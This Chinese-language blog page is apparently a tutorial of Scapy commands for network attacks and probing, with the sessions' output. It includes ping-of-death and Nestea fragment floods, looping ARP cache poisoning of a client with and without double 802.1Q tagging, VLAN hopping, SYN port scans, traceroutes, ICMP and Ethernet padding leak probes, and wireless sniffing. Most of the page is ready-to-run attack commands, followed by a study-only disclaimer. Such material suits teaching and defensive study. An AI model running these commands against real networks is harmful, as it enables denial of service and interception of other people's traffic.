>>> send(IP(dst = "192.168.8.1",ihl =2,version=3)/ICMP())
.
Sent 1 packets.

死亡之Ping:

>>> send( fragment(IP(dst="192.168.8.110")/ICMP()/("X"*60000)))
.........................................
Sent 41 packets.

Neesta攻击:

>>> send(IP(dst = "192.168.8.110",id =42,flags ="MF")/UDP()/("X"*10))
.
Sent 1 packets.
>>> send(IP(dst = "192.168.8.110",id =42,frag = 48)/("X"*116))
.
Sent 1 packets.
>>> send(IP(dst = "192.168.8.110",id =42,flags = "MF")/("X"*224))
.
Sent 1 packets.

ARP缓存中毒♥

这种攻击通过VLAN跳跃攻击来毒害客户机的ARP缓存,从而防止客户机加入客户机加入网关。

经典的ARP缓存中毒:

send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40), loop=1 )

采用802.1q封装的ARP缓存中毒:

send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

TCP端口扫描

在每个端口发送一个TPC SYN。等待SYN-ACK、RST或ICMP错误:

>>> res,unans = sr(IP(dst ="192.168.8.110")/TCP(flags="S",dport =(1,1024)))

可能的结果可视化:开放端口

es.nsummary(lfilter = lambda s,r:(r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)))

高级跟踪路线

TCP同步跟踪路由

>>> ans, unans = sr(IP(dst="120.226.8.193",ttl=(1,10))/TCP(dport=53,flags="S"))
Begin emission:
Finished sending 10 packets.
.*...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^C
Received 645 packets, got 1 answers, remaining 9 packets
>>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.8.1     time-exceeded

UDP示踪剂

向我们使用TCP那样跟踪路由一个UDP应用程序是不可靠的,因为没有握手。我们需要给出一个适用的有效载荷(DNS、isakmp、ntp等),以得到一个答案:

>>> res,unans = sr(IP(dst = "120.226.8.193",ttl=(1,20))/UDP()/DNS(qd = DNSQR(qname= "baidu.com
...: ")))
Begin emission:
Finished sending 20 packets.
.*********..........................................................................................................................^C
Received 132 packets, got 9 answers, remaining 11 packets

我们可以将结果视为路由器列表:

>>> res.make_table(lambda s,r:(s.dst,s.ttl,r.src))
  120.226.8.193 
1 192.168.8.1   
2 172.21.2.45   
3 120.226.8.193 
4 111.8.0.18    
5 120.226.8.193 
6 120.226.8.193 
7 120.226.8.193 
8 120.226.8.193 
9 120.226.8.193

DNS路由跟踪

我们可以通过指定一个完整的包来执行DNS路由跟踪。

>>> ans, unans = traceroute("120.226.8.193",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="jd.com")))
Begin emission:
Finished sending 30 packets.
**********************
Received 22 packets, got 22 answers, remaining 8 packets
   120.226.8.193:udp53 
1  192.168.8.1     11  
3  172.21.2.45     11  
7  111.8.29.134    11  
9  36.158.200.206  11  
13 120.226.8.193   3   
14 120.226.8.193   3   
15 120.226.8.193   3   
16 120.226.8.193   3    

以太网泄露

>>> sr1(IP(dst="192.168.8.110")/ICMP())
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=28 id=2492 flags= frag=0 ttl=128 proto=icmp chksum=0x9efc src=192.168.8.110 dst=192.168.8.106 |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 unused=b'' |<Padding  load=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>   

ICMP泄露

这是一个linux2.0错误;

>>> sr1(IP(dst="192.168.8.110",options="\x02")/ICMP())
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=60 id=2493 flags= frag=0 ttl=128 proto=icmp chksum=0x9edb src=192.168.8.110 dst=192.168.8.106 |<ICMP  type=parameter-problem code=ip-header-bad chksum=0xdeff ptr=21 length=0 unused=0 |<IPerror  version=4 ihl=6 tos=0x0 len=32 id=1 flags= frag=0 ttl=64 proto=icmp chksum=0xe5b3 src=192.168.8.106 dst=192.168.8.110 options=[<Raw  load=b'\x02\x00\x00\x00' |>] |<ICMPerror  type=echo-request code=0 chksum=0xf7ff id=0x0 seq=0x0 unused=b'' |>>>>

跳跃攻击

在非常特殊的情况下,双902.1q封装将使数据包跳转到另一个VLAN:

>>> sendp(Ether()/Dot1Q(vlan =2)/Dot1Q(vlan=7)/IP(dst="192.168.8.110")/ICMP())
.
Sent 1 packets.

无限嗅探

以下命令将显示类似于大多数无限嗅探器的信息:

>>> sniff(iface="eth0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%
...: \t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

网络安全新纪元:如何利用AI和机器学习重新定义网络安全的未来
巧用开源PeteReport-Zh生成渗透测试报告
Damn-Vulnerable-Drone:一款针对无人机安全研究与分析的靶机工具
网络⼯具中的瑞⼠军⼑——NC
Betterscan:一款多功能代码安全编排与审计工具
指针分析与Java反序列化利用链挖掘实践(一)

发布评论